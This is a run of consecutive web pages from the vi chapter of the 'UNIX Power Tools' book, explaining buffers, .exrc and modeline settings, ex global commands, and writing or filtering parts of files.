The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 30] 30.5 Edits Between Files

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 30.4 Editing Multiple Files with vi Chapter 30
vi Tips and Tricks 		Next: 30.6 Local Settings for vi and ex

30.5 Edits Between Files

When you give a yank buffer a one-letter name, you have a convenient way to move text from one file to another. Named buffers are not cleared when a new file is loaded into the vi buffer with the :e command (30.4). Thus, by yanking (copying) or deleting text from one file (into multiple named buffers if necessary), calling in a new file with :e, and putting the named buffer into the new file, you can transfer material between files.

The following example illustrates how to transfer text from one file to another.

Keystrokes Results
"f4yy
 With a screen editor you can scroll
 the page, move the cursor, delete lines,
 insert characters, and more, while seeing
 the results of the edits as you make them

Yank four lines into buffer f.

:w
 "practice" 6 lines 238 characters

Save the file.

:e letter
 Dear Mr.
 Henshaw:
 I thought that you would
 be interested to know that:
 Yours truly,

Enter the file letter with :e. Move cursor to where the copied text will be placed.

"fp
 Dear Mr.
 Henshaw:
 I thought that you would
 be interested to know that:
 With a screen editor you can scroll
 the page, move the cursor, delete lines,
 insert characters, and more, while seeing
 the results of the edits as you make them
 Yours truly,

Place yanked text from named buffer f below the cursor.

If you yank into a buffer and type the buffer name as an uppercase letter, your new text will be added to the text already in the buffer. For example, you might use "f4yy to yank four lines into the buffer named f. If you then move somewhere else and type "F6yy, with an uppercase F, that will add six more lines to the same f buffer - for a total of ten lines. You can yank into the uppercase buffer name over and over. To output all of the yanked text, use the lowercase letter - like "fp. To clear the buffer and start over, use its lowercase name ("fy...) again.

- LL, JP

Previous: 30.4 Editing Multiple Files with vi | UNIX Power Tools | Next: 30.6 Local Settings for vi and ex
30.4 Editing Multiple Files with vi | Book Index | 30.6 Local Settings for vi and ex
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 30] 30.6 Local Settings for vi and ex

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 30.5 Edits Between Files Chapter 30
vi Tips and Tricks 		Next: 30.7 Using Buffers to Move or Copy Text

30.6 Local Settings for vi and ex

In addition to reading the .exrc file in your home directory (4.9), many versions of vi will read a file called .exrc in the current directory. This allows you to set options that are appropriate to a particular project.

For example, you might want to have one set of options in a directory mainly used for programming:

set number lisp autoindent sw=4 terse
set tags=/usr/lib/tags

and another set of options in a directory used for text editing:

set wrapmargin=15 ignorecase

Note that you can set certain options in the .exrc file in your home directory and unset them (for example, set wrapmargin=0 noignorecase) in a local directory.

NOTE: In System V, Release 3.2 and later, vi doesn't read &.exrc files in the current directory unless you first set the exrc option in your home directory's .exrc file:

set exrc

This mechanism makes it harder for other people to place, in your working directory, an .exrc file whose commands might jeopardize the security of your system.

You can also define alternate vi environments by saving option settings in a file other than .exrc and reading in that file with the :so command. For example:

&:so .progoptions

Local .exrc files are also useful for defining abbreviations (30.31) and key mappings (31.2). When we write a book or manual, we save all abbreviations to be used in that book in an .exrc file in the directory in which the book is being created.

You can also store settings and startup commands for vi and ex in an environment variable (6.1) called EXINIT (30.35). If there is a conflict between settings in EXINIT and an .exrc file, EXINIT settings take precedence.

- TOR from O'Reilly & Associates' Learning the vi Editor, Chapter 7

Previous: 30.5 Edits Between Files | UNIX Power Tools | Next: 30.7 Using Buffers to Move or Copy Text
30.5 Edits Between Files | Book Index | 30.7 Using Buffers to Move or Copy Text
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 30] 30.7 Using Buffers to Move or Copy Text

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 30.6 Local Settings for vi and ex Chapter 30
vi Tips and Tricks 		Next: 30.8 Get Back What You Deleted with Numbered Buffers

30.7 Using Buffers to Move or Copy Text

In a vi editing session, your last deletion (d or x) or yank (y) is saved in a buffer. You can access the contents of that buffer and put the saved text back in your file with the put command (p or P). A frequent sequence of commands is:

5dd   delete 5 lines
   move somewhere else

p   put the 5 deleted lines back in a new
   location, below the current line

What fewer new users are aware of is that vi stores the last nine (30.8) deletions in numbered buffers. You can access any of these numbered buffers to restore any (or all) of the last nine deletions. (Small deletions, of only parts of lines, are not saved in numbered buffers, however.) Small deletions can be recovered only by using the p or P command immediately after you've made the deletion.

vi also allows you to yank (copy) text to "named" buffers identified by letters. You can fill up to 26 (a-z) buffers with yanked text and restore that text with a put command at any time in your editing session. This is especially important if you want to transfer data between two files, because all buffers except named buffers are lost when you change files. See article 30.5.

- TOR from O'Reilly & Associates' Learning the vi Editor, Chapter 4

Previous: 30.6 Local Settings for vi and ex | UNIX Power Tools | Next: 30.8 Get Back What You Deleted with Numbered Buffers
30.6 Local Settings for vi and ex | Book Index | 30.8 Get Back What You Deleted with Numbered Buffers
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 30] 30.8 Get Back What You Deleted with Numbered Buffers

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 30.7 Using Buffers to Move or Copy Text Chapter 30
vi Tips and Tricks 		Next: 30.9 Using Search Patterns and Global Commands

30.8 Get Back What You Deleted with Numbered Buffers

Being able to delete large blocks of text at a single bound is all very well and good, but what if you mistakenly delete 53 lines that you need? There's a way to recover any of your past nine deletions, because they're saved in numbered buffers. The last delete is saved in buffer 1, the second-to-last in buffer 2, and so on.

To recover a deletion, type <"> (the double quote character), identify the buffered text by number, then give the put command. To recover your second-to-last deletion from buffer 2, type:

"2p

The deletion in buffer 2 is placed on the line below the cursor.

If you're not sure which buffer contains the deletion you want to restore, you don't have to keep typing <">n p over and over again. If you use the repeat command (.) with p after u (undo), it automatically increments the buffer number. As a result, you can search through the numbered buffers as follows:

"1pu.u.u etc.

to put the contents of each succeeding buffer in the file one after the other. Each time you type u, the restored text is removed; when you type a dot (.), the contents of the next buffer is restored to your file. Keep typing u and . until you've recovered the text you're looking for.

- TOR from O'Reilly & Associates' Learning the vi Editor, Chapter 4

Previous: 30.7 Using Buffers to Move or Copy Text | UNIX Power Tools | Next: 30.9 Using Search Patterns and Global Commands
30.7 Using Buffers to Move or Copy Text | Book Index | 30.9 Using Search Patterns and Global Commands
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 30] 30.9 Using Search Patterns and Global Commands

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 30.8 Get Back What You Deleted with Numbered Buffers Chapter 30
vi Tips and Tricks 		Next: 30.10 Confirming Substitutions in ex and vi

30.9 Using Search Patterns and Global Commands

Besides using line numbers and address symbols (., $, %), ex (including the ex mode of vi, of course) can address lines by using search patterns (26.1). For example:

:/pattern/d

Deletes the next line containing pattern.

:/pattern/+d

Deletes the line below the next line containing pattern. (You could also use +1 instead of + alone.)

:/pattern1/,/pattern2/d

Deletes from the next line (after the current line) that contains pattern1 through the next following line that contains pattern2.

:.,/pattern/m23

Takes text from current line (.) through the next line containing pattern and puts it after line 23.

Note that patterns are delimited by a slash both before and after.

If you make deletions by pattern with vi and ex, there is a difference in the way the two editors operate. Suppose you have in your file practice the lines:
 With a screen editor you can scroll the
 page, move the cursor, delete lines, insert
 characters and more, while seeing results
 of your edits as you make them.

Keystrokes Results
d/while
 With a screen editor you can scroll the
 page, move the cursor, while seeing results
 of your edits as you make them.

The vi delete to pattern command deletes from the cursor up to the word while but leaves the remainder of both lines.

:.,/while/d
 With a screen editor you can scroll the
 of your edits as you make them.

The ex command deletes the entire range of addressed lines; in this case both the current line and the line containing the pattern. All lines are deleted in their entirety.

30.9.1 Global Searches

In vi you use a / (slash) to search for patterns of characters in your files. By contrast, ex has a global command, g, that lets you search for a pattern and display all lines containing the pattern when it finds them. The command :g! does the opposite of :g. Use :g! (or its synonym :v) to search for all lines that do not contain pattern.

You can use the global command on all lines in the file, or you can use line addresses to limit a global search to specified lines or to a range of lines.

:g/pattern/

Finds (moves to) the last occurrence of pattern in the file.

:g/pattern/p

Finds and displays all lines in the file containing pattern.

:g!/pattern/nu

Finds and displays all lines in the file that don't contain pattern; also displays line number for each line found.

:60,124g/pattern/p

Finds and displays any lines between lines 60 and 124 containing pattern.

g can also be used for global replacements. For example, to search for all lines that begin with WARNING: and change the first word not on those lines to NOT:

\<..\>
:g/^WARNING:/s/\<not\>/NOT/

- LL from O'Reilly & Associates' Learning the vi Editor, Chapter 5

Previous: 30.8 Get Back What You Deleted with Numbered Buffers | UNIX Power Tools | Next: 30.10 Confirming Substitutions in ex and vi
30.8 Get Back What You Deleted with Numbered Buffers | Book Index | 30.10 Confirming Substitutions in ex and vi
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 30] 30.10 Confirming Substitutions in ex and vi

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 30.9 Using Search Patterns and Global Commands Chapter 30
vi Tips and Tricks 		Next: 30.11 Keep Your Original File, Write to a New File

30.10 Confirming Substitutions in ex and vi

It makes sense to be overly careful when using a search and replace command. It sometimes happens that what you get is not what you expect. You can undo any search and replacement command by entering u, provided that the command was intended for the most recent edit you made. But you don't always catch undesired changes until it is too late to undo them. Another way to protect your edited file is to save the file with :w before performing a global replacement. Then at least you can quit the file without saving your edits and go back to where you were before the change was made. You can also read the previous version of the buffer back in with :e! (30.4).

It's wise to be cautious and know exactly what is going to be changed in your file. If you'd like to see what the search turns up and confirm each replacement before it is made, add the c option (for confirm) at the end of the substitute command:

:1,30s/his/the/gc

This command will display the entire line where the string has been located, and the string will be marked by a series of carets (^^^^).

copyists at his school
              ^^^_

If you want to make the replacement, you must enter y (for yes) 'vs 12 and press RETURN. If you don't want to make a change, simply press RETURN.

this can be used for invitations, signs, and menus.
   ^^^_

The combination of the vi commands, n (repeat last search) and dot (.) (repeat last command), is also an extraordinarily useful and quick way to page through a file and make repetitive changes that you may not want to make globally. So, for example, if your editor has told you that you're using which when you should be using that, you can spot-check every occurrence of which, changing only those that are incorrect:
/which | Search for which.
cwthat [ESC] | Change to that.
n | Repeat search.
. | Repeat change (if appropriate).
 | .
 | .
 | .
This often turns out to be faster than using a global substitution with confirmation. [It also lets you see other lines near the text you're checking. -JP ]

- DD, TOR

Previous: 30.9 Using Search Patterns and Global Commands | UNIX Power Tools | Next: 30.11 Keep Your Original File, Write to a New File
30.9 Using Search Patterns and Global Commands | Book Index | 30.11 Keep Your Original File, Write to a New File
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 30] 30.11 Keep Your Original File, Write to a New File

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 30.10 Confirming Substitutions in ex and vi Chapter 30
vi Tips and Tricks 		Next: 30.12 Saving Part of a File

30.11 Keep Your Original File, Write to a New File

You can use :w to save an entire buffer (the copy of the file you are editing) under a new filename.

Suppose you have a file practice, containing 600 lines. You open the file and make extensive edits. You want to quit but save both the old version of practice and your new edits for comparison. To save the edited buffer in a file called check_me, give the command:

:w check_me

Your old version, in the file practice, remains unchanged (provided that you didn't previously use :w). You can now quit the old version by typing :q.

- LL from O'Reilly & Associates' Learning the vi Editor, Chapter 5

Previous: 30.10 Confirming Substitutions in ex and vi | UNIX Power Tools | Next: 30.12 Saving Part of a File
30.10 Confirming Substitutions in ex and vi | Book Index | 30.12 Saving Part of a File
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 30] 30.12 Saving Part of a File

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 30.11 Keep Your Original File, Write to a New File Chapter 30
vi Tips and Tricks 		Next: 30.13 Appending to an Existing File

30.12 Saving Part of a File

While editing, you will sometimes want to save just part of your file as a separate, new file. For example, you might have entered formatting codes and text that you want to use as a header for several files.

You can combine ex line addressing (33.3) with the write command, w, to save part of a file. For example, if you are in the file practice and want to save part of practice as the file newfile, you could enter:

:230,$w newfile

Saves from line 230 to end-of-file in newfile.

:.,600w newfile

Saves from the current line to line 600 in newfile.

[After newfile has been created, you'll need w! instead of w. -JP ]

- LL from O'Reilly & Associates' Learning the vi Editor, Chapter 5

Previous: 30.11 Keep Your Original File, Write to a New File | UNIX Power Tools | Next: 30.13 Appending to an Existing File
30.11 Keep Your Original File, Write to a New File | Book Index | 30.13 Appending to an Existing File
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 30] 30.13 Appending to an Existing File

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 30.12 Saving Part of a File Chapter 30
vi Tips and Tricks 		Next: 30.14 Moving Blocks of Text by Patterns

30.13 Appending to an Existing File

You can use the UNIX redirect and append operator (>>) with w to append all or part of the contents of the buffer to an existing file. For example, if you entered:

:1,10w newfile

and then:

$
:340,$w >>newfile

newfile would contain lines 1-10 and line 340 to the end of the buffer.

- TOR from O'Reilly & Associates' Learning the vi Editor, Chapter 5

Previous: 30.12 Saving Part of a File | UNIX Power Tools | Next: 30.14 Moving Blocks of Text by Patterns
30.12 Saving Part of a File | Book Index | 30.14 Moving Blocks of Text by Patterns
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 30] 30.14 Moving Blocks of Text by Patterns

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 30.13 Appending to an Existing File Chapter 30
vi Tips and Tricks 		Next: 30.15 Useful Global Commands (with Pattern Matches)

30.14 Moving Blocks of Text by Patterns

You can move blocks of text delimited by patterns (30.9). For example, assume you have a 150-page reference manual. All references pages are organized into three paragraphs with the same three headings: SYNTAX, DESCRIPTION, and PARAMETERS. A sample of one reference page follows:

 .Rh 0 "Get status of named file" "STAT"
 .Rh "SYNTAX"
 .nf
 integer*4 stat, retval
 integer*4 status(11)
 character*123 filename
 ...
 retval = stat (filename, status)
 .fi
 .Rh "DESCRIPTION"
 Writes the fields of a system data structure into the
 status array.
 These fields contain (among other
 things) information about the file's location, access
 privileges, owner, and time of last modification.
 .Rh "PARAMETERS"
 .IP "\fBfilename\fR" 15n
 A character string variable or constant containing
 the UNIX pathname for the file whose status you want
 to retrieve.
 You can give the ...

Suppose that it is decided to move the SYNTAX paragraph below the DESCRIPTION paragraph. Using pattern matching, you can move blocks of text on all 150 pages with one command!

:g/SYNTAX/,/DESCRIPTION/-1 mo /PARAMETERS/-1

This command operates on the block of text between the line containing the word SYNTAX and the line just before the word DESCRIPTION (/DESCRIPTION/-1). The block is moved (using mo) to the line just before PARAMETERS (/PARAMETERS/-1). Note that ex can place text only below the line specified. To tell ex to place text above a line, you first have to move up a line with -1, and then place your text below. In a case like this, one command saves literally hours of work. (This is a real-life example - we once used a pattern match like this to rearrange a reference manual containing hundreds of pages.)

Block definition by patterns can be used equally well with other ex commands. For example, if you wanted to delete all DESCRIPTION paragraphs in the reference chapter, you could enter:

:g/DESCRIPTION/,/PARAMETERS/-1d

This very powerful kind of change is implicit in ex's line addressing syntax, but it is not readily apparent even to experienced users. For this reason, whenever you are faced with a complex, repetitive editing task, take the time to analyze the problem and find out if you can apply pattern-matching tools to do the job.

- TOR from O'Reilly & Associates' Learning the vi Editor, Chapter 6

Previous: 30.13 Appending to an Existing File | UNIX Power Tools | Next: 30.15 Useful Global Commands (with Pattern Matches)
30.13 Appending to an Existing File | Book Index | 30.15 Useful Global Commands (with Pattern Matches)
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 30] 30.15 Useful Global Commands (with Pattern Matches)

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 30.14 Moving Blocks of Text by Patterns Chapter 30
vi Tips and Tricks 		Next: 30.16 Counting Occurrences; Stopping Search Wraps

30.15 Useful Global Commands (with Pattern Matches)

The best way to learn pattern matching is by example, so here's a short list of pattern-matching examples, with explanations. (Article 26.10 has a list of these patterns.) Study the syntax carefully so you understand the principles at work. You should then be able to adapt these examples to your own situation.

  1. Change all occurrences of the word help (or Help) to HELP:

    %
    :%s/[Hh]elp/HELP/g

    or:

    :%s/[Hh]elp/\U&/g

    The \U changes the pattern that follows to all uppercase. The pattern that follows is the repeated search pattern, which is either help or Help.

  2. Replace one or more spaces following a colon (:) or a period (.) with two spaces (here a space is marked by a \h'1p' [image] \h'1p'):

    :%s/\([:.]\\)\h'1p'   \h'1p'\h'1p'   \h'1p'*/\\1\h'1p'   \h'1p'\h'1p'   \h'1p'/g

    Either of the two characters within brackets can be matched. This character is saved into a hold buffer, using \( and \) (34.10), and restored on the right-hand side by the \1. Note that within brackets a special character such as a dot does not need to be escaped with a backslash (\).

  3. Delete all blank lines:

    g
    :g/^$/d

    What you are actually matching here is the beginning of the line (^) followed by the end of the line ($), with nothing in between.

  4. Delete all blank lines, plus any lines that contain only white space:

    :g/^[   tab]*$/d

    (In the line above, a tab is shown as tab.) A line may appear to be blank but may in fact contain spaces or tabs. The previous example will not delete such a line. This example, like the one above it, searches for the beginning and end of the line. But instead of having nothing in between, the pattern tries to find any number of spaces or tabs. If no spaces or tabs are matched, the line is blank. To delete lines that contain white space but that aren't blank, you would have to match lines with at least one space or tab:

    :g/^[   tab][   tab]*$/d

  5. Match the first quoted argument of all section header (.Ah) macros (43.13) and replace each line with this argument:

    :%s/^\.Ah "\([^"]*\)" .*/\1/

    The substitution assumes that the .Ah macro can have more than one argument surrounded by quotes. You want to match everything between quotes, but only up to the first closing quote. Using ".*" would be wrong because it would match all arguments on the line. What you do is match a series of characters that aren't quotes, [^"]*. The pattern "[^"]*" matches a quote, followed by any number of non-quote characters, followed by a quote. Enclose the first argument in \( and \) so that it can be replayed using \1.

  6. Same as previous, except preserve the original lines by copying them:

    :g/^\.Ah/t$ | s/\.Ah "\([^"]*\)" .*/\1/

    In ex, the vertical bar (|) is a command separator that works like a semicolon (;) (8.5) on a UNIX command line. The first part, :g/^\.Ah/t$, matches all lines that begin with a .Ah macro, uses the t command to copy these lines, and places them after the last line ($) of the file. The second part is the same as in the previous example, except that the substitutions are performed on copies at the end of the file. The original lines are unchanged.

- TOR, DG from O'Reilly & Associates' Learning the vi Editor, Chapter 6

Previous: 30.14 Moving Blocks of Text by Patterns | UNIX Power Tools | Next: 30.16 Counting Occurrences; Stopping Search Wraps
30.14 Moving Blocks of Text by Patterns | Book Index | 30.16 Counting Occurrences; Stopping Search Wraps
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 30] 30.16 Counting Occurrences; Stopping Search Wraps

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 30.15 Useful Global Commands (with Pattern Matches) Chapter 30
vi Tips and Tricks 		Next: 30.17 Capitalizing Every Word on a Line

30.16 Counting Occurrences; Stopping Search Wraps

Want to see how many times you used the word very in a file? There are a couple of easy ways.

First, tell vi to stop searching when you get to the end of the file. Type the command :set nowrapscan or put it in your .exrc file (4.9).

  1. Move to the top of the file with the 1G command. Search for the first very with the command /very (HINT: using the word-limiting regular expression /\<very\> (26.4) instead will keep you from matching words like every). To find the next very, type the n (next) command.

    When vi says Address search hit BOTTOM without matching pattern, you've found all of the words.

  2. Use the command:

    :g/very/p

    The matching lines will scroll down your screen.

To find the line numbers, too, type :set number before your searches.

- JP

Previous: 30.15 Useful Global Commands (with Pattern Matches) | UNIX Power Tools | Next: 30.17 Capitalizing Every Word on a Line
30.15 Useful Global Commands (with Pattern Matches) | Book Index | 30.17 Capitalizing Every Word on a Line
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 30] 30.17 Capitalizing Every Word on a Line

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 30.16 Counting Occurrences; Stopping Search Wraps Chapter 30
vi Tips and Tricks 		Next: 30.18 Setting vi Options Automatically for Individual Files

30.17 Capitalizing Every Word on a Line

Are you typing the title of an article or something else that needs an uppercase letter at the start of every word? Do you need to capitalize some text that isn't? It can be tedious to press the SHIFT key as you enter the text, or to use ~ (tilde) and w commands to change the text. The command below capitalizes the first character of every word.

\< \u
:s/\<./\u&/g

(You might be wondering why we didn't use :s/\<[a-z]/\u&/g to match lowercase letters. The <. actually matches the first character of every word, but the \u will only affect letters. So, unless you only want to capitalize certain letters, <. is enough.)

The example above does only the current line. You can add a range of lines after the colon. For example, to edit all lines in the file:

%
:%s/\<./\u&/g

To do the current line and the next five, use:

.,+5
:.,+5s/\<./\u&/g

To make the first character of each word uppercase (with \u) and the rest lowercase (with \L), try:

\(...\)...\1
:s/\<\(.\)\([A-Za-z]*\)\>/\u\1\L\2/g

The command above doesn't convert the back ends of words with hyphens (like CD-ROM) or apostrophes (like O'Reilly) to lowercase. That's because the [A-Za-z]*\> only matches words whose second through last characters are all letters. You can add a hyphen or an apostrophe to make that expression match more words, if you'd like.

Those commands can be a pain to type. If you use one of them a lot, try putting it in a keymap (31.2).

- JP

Previous: 30.16 Counting Occurrences; Stopping Search Wraps | UNIX Power Tools | Next: 30.18 Setting vi Options Automatically for Individual Files
30.16 Counting Occurrences; Stopping Search Wraps | Book Index | 30.18 Setting vi Options Automatically for Individual Files
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 30] 30.18 Setting vi Options Automatically for Individual Files

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 30.17 Capitalizing Every Word on a Line Chapter 30
vi Tips and Tricks 		Next: 30.19 Modelines: Bug or Feature?

30.18 Setting vi Options Automatically for Individual Files

The .exrc file (4.9) can set vi options for all files - or for files in a certain directory (30.6). The articles listed below show other ways to set your vi setup.

  • A controversial feature because of security problems, modelines (30.19) are still handy if you use them carefully. They let you store setup commands for each file, in the file itself.

  • Instead of modelines, you can make separate setup files for each file you want to edit. These don't have the security problems of modelines because you can make the setup files read-only. See article 30.21.

  • Article 30.20 lets you choose any one of a number of setups by typing a setup-choosing command from the shell prompt. All vi commands you start afterwards will use that setup. You can start a new setup any time.

- JP

Previous: 30.17 Capitalizing Every Word on a Line | UNIX Power Tools | Next: 30.19 Modelines: Bug or Feature?
30.17 Capitalizing Every Word on a Line | Book Index | 30.19 Modelines: Bug or Feature?
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 30] 30.19 Modelines: Bug or Feature?

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 30.18 Setting vi Options Automatically for Individual Files Chapter 30
vi Tips and Tricks 		Next: 30.20 Multiple Editor Setup Files; Starting with a Search

30.19 Modelines: Bug or Feature?

Some versions of vi and ex have a modeline or modelines option. When that option is set in your .exrc file (30.6), you can store setup commands at the top or bottom of any file you edit. When you start the editor, it will read the setup commands and run them. This is a lot like having a separate .exrc for each file you edit.

CAUTION: Modelines can be a security problem. If any troublemakers should edit your files and change your modelines, think about the difficulties they can cause you. Most newer versions of vi disable modelines by default.

Here's a sample file - a shell script (44.1) with a modeline on the second line:

#! /bin/sh
# vi:set number wrapmargin=0 autoindent showmatch:

while read line
do
   ...

The modeline has #, the shell's comment character, at the start of it - so, the shell will ignore the line but vi will still read it. This is only necessary in a shell script, but it demonstrates that the modeline need not start in column 1. The modeline itself consists of a space or tab, the string vi: or ex:, the commands to be executed, and a closing colon. Both the space or tab before the modeline, and the closing colon are important - they tell the editor where the modeline begins and ends. You can put modelines on the first five or last five lines of a file (or both).

When you start vi on the file shown in the example above, it sets the options number, wrapmargin=0, autoindent, and showmatch.

NOTE: Any time you open a file with a modeline, vi changes the file status to "modified"-even if you haven't actually made any changes. To leave the file without writing it, you have to use the :q! command. This is a hassle when you use UNIX tools that depend on a file's modification time, like make (28.13), especially if you also have the autowrite option set.

To find out whether your version of vi supports modelines - and whether the option is called modeline or modelines-get a list of all options with the command :set all. If the option is available, but not set, you'll see nomodeline (or nomodelines) as one of the options. Put the command

set modeline(s)

in your .exrc file to enable the option. Unfortunately, some versions list the option but don't support it!

- JP

Previous: 30.18 Setting vi Options Automatically for Individual Files | UNIX Power Tools | Next: 30.20 Multiple Editor Setup Files; Starting with a Search
30.18 Setting vi Options Automatically for Individual Files | Book Index | 30.20 Multiple Editor Setup Files; Starting with a Search
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 30] 30.20 Multiple Editor Setup Files; Starting with a Search

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 30.19 Modelines: Bug or Feature? Chapter 30
vi Tips and Tricks 		Next: 30.21 Per File Setups in Separate Files

30.20 Multiple Editor Setup Files; Starting with a Search

[This article shows vi, but the same thing will work for other editors that read a setup file when they start up. -JP]

Like many people, I want different vi options set for writing a program than for working on a text file. Here's how I do it.

Instead of putting mode lines (30.19) within each file, or writing extensions to the filenames (30.21), I've got several different .exrc (30.6) startup files... one for each vi mode I'd like to use. I have aliases (10.2) that let me select the .exrc file I want. And I have vi aliased so that, when I start it up, it tells me which .exrc file is in use. Here are the lines (with comments) from my .cshrc (2.1) file (the CD-ROM has a set for Bourne-type shells):

~ setenv

\!*
sleep

setenv EXSTAT text        # INITIALIZATION FOR 'vi' ALIAS

        # -- THESE ALIASES RESET THE .exrc FILE -- #
# SET 'vi' FOR 4-CHARACTER TABS/SHIFTS:
alias 4vi 'cp ~/lib/vi/exrc4 ~/.exrc; setenv EXSTAT programming'
# SET 'vi' FOR 8-CHARACTER TABS/SHIFTS:
alias 8vi 'cp ~/lib/vi/exrc8 ~/.exrc; setenv EXSTAT text'
# SET 'vi' FOR QUICK WORK WHEN SYSTEM IS SLOW (NO .exrc FILE):
alias qvi 'rm ~/.exrc; setenv EXSTAT quick'

   # -- THESE ARE THE vi ALIASES. ONE SETS THE vi MODE FIRST -- #
alias vi 'echo "MODE: $EXSTAT"; sleep 1; /usr/ucb/vi \!*'
# CALL vi WITH A SEARCH:
alias vs '8vi; vi +/\!*'

The EXSTAT variable remembers which setup file has been stored in the .exrc file. Also, because you can't start vi with a search (vi +/PATTERN) unless the wrapscan option has been set... so, I start the vs alias with an 8vi because my exrc8 file sets wrapscan. Here's an example. I'll edit the file report and search for a line that has the word misteak:

% vs misteak report
MODE: text
"report" 45 lines, 2734 characters

- JP

Previous: 30.19 Modelines: Bug or Feature? | UNIX Power Tools | Next: 30.21 Per File Setups in Separate Files
30.19 Modelines: Bug or Feature? | Book Index | 30.21 Per File Setups in Separate Files
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 30] 30.21 Per File Setups in Separate Files

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 30.20 Multiple Editor Setup Files; Starting with a Search Chapter 30
vi Tips and Tricks 		Next: 30.22 Filtering Text Through a UNIX Command

30.21 Per File Setups in Separate Files

Do you need to set certain editor options for certain files - but not use the same setup for every file you edit? Make a special setup file with the same name and an underscore ( _ ) at the end. For instance, a file named report could have a corresponding setup file named report_. (You don't have to use an underscore at the end of the filename. It's convenient though, because it's not a shell special character (8.19).)

The setup file has the same format as a .exrc file (30.6). To make the editor read it, map (31.2) a function key like F1 (or any other key sequence):

source ^[
map #1 :source %_^[

When you start vi, tap that key to read the setup file. (The percent sign stands for the current filename (30.4).)

If you want to use the same setup file for several files in a directory, you might want to make hard links (18.4) between them. That will save disk space. It also means that if you decide to change a setup option, you can edit one of the links to the setup file and the others will have the same change.

- JP

Previous: 30.20 Multiple Editor Setup Files; Starting with a Search | UNIX Power Tools | Next: 30.22 Filtering Text Through a UNIX Command
30.20 Multiple Editor Setup Files; Starting with a Search | Book Index | 30.22 Filtering Text Through a UNIX Command
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 30] 30.22 Filtering Text Through a UNIX Command

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 30.21 Per File Setups in Separate Files Chapter 30
vi Tips and Tricks 		Next: 30.23 Safer vi Filter-Throughs

30.22 Filtering Text Through a UNIX Command

Warning! When you're editing in vi, you can send a block of text as standard input to a UNIX command. The output from this command replaces the block of text in the buffer. You can filter text through a command from either ex or vi. The main difference between the two methods is that you indicate the block of text with line addresses in ex and with text objects (movement commands) in vi.

30.22.1 Filtering Text with ex

The first example demonstrates how to filter text with ex. Assume that you're editing a file with a list of names and you want to alphabetize (sort) lines 96 through 99. You simply type the addresses of the lines you want to filter, followed by an exclamation mark and the UNIX command to be executed. For example, the command:

:96,99!sort

